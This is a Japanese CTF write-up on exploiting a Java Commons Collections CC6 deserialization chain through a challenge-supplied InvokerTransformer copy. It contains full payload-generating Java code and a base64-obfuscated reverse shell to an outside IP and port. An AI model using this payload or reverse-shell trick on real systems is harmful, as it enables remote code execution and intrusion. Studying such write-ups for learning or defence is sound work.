これらの日々、新参者の競技で Java の CC チェーン変異体を 1 つやりました。これは最初または 2 番目の Java の問題で、多くの落とし穴にはまりましたが、メモとして書いておきます。
問題の jar ファイルをチェックしてみると、逆シリアル化ポイントが 1 つあり、transformer クラスのサブクラスが 1 つあります。おそらく invoketransformer というクラスの模倣です。CC チェーンの基本原理は、逆シリアル化を利用して invoketransformer を呼び出し、リフレクションを使用してランタイムクラスを取得して RCE を実現することです。
問題では、cc6 というチェーンを打つヒントが与えられていますが、これは cc1 を高いバージョンの Java では使用できない代替品に変更したものです。
cc チェーンはこちらを参照してください。
https://www.cnblogs.com/bitterz/p/15035581.html
cc6 については、このブログを参照してください。
https://www.yulate.com/348.html
伝統的な cc6 については、以下のような利用チェーンです。
java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();
HashSet オブジェクトを逆シリアル化し、wakeup 時に自動的に readobject を呼び出し、その中の hashmap の hash メソッドを呼び出します。内部実装では、内部オブジェクトの hashcode メソッドを呼び出します。このステップでハッシュを計算するために値を取得する必要があり、これにより lazymap の get メソッドがトリガーされ、lazymap は chainedtransformer の内部の invoke を呼び出します。反射を使用してランタイムクラスを取得し、RCE を実現します。
しかし、依存関係のバージョンを確認すると、cc3.2.2 というバージョンで伝統的な cc6 の利用が修正されています。修正方法はどのようなものですか?
このバージョンの changelog を確認してみましょう。
いくつかの危険なクラスが禁止され、シリアル化による RCE が防止されました。
jar ファイルを jadx で逆コンパイルしてソースコードを確認すると、eval クラスが問題で与えられた invoketransformer クラスの模倣であることがわかります。
serializable を再度追加することで、意図的に再利用できるようになりました。これにより、cc6 チェーンを再度打つことができます。
伝統的な cc6 チェーンのペイロードを基に、exp をコピーして変更しました。
ここで、環境の設定で多くの落とし穴にはまりましたので、書く必要はありません。将来的にもすべて理解できるようになります。
public class cc {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(buffer);
output.writeObject(hashSet);
//base64エンコード
String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
System.out.println(payload);
// decoserize decoserize = new decoserize();
// decoserize.decoserize(payload);
}
}
ここには 2 つの大きな落とし穴があります。
1. パッケージ名は、ソースファイルとまったく同じに変更する必要があります。そうしないと、逆シリアル化されたものが認識されません。
2. シェルを起動するための簡単な伝統的な方法は使用できません。原理は次のリンクを参照してください。
https://www.cnblogs.com/BOHB-yunying/p/15523680.html
クラシックなステートメントを次のように変更する必要があります。
bash -c {echo,base64でエンコードされたシェルステートメント}|{base64,-d}|{bash,-i}
これ以外の部分は正常に動作します。base64 を記憶して、URL エンコードを行うことを忘れないでください。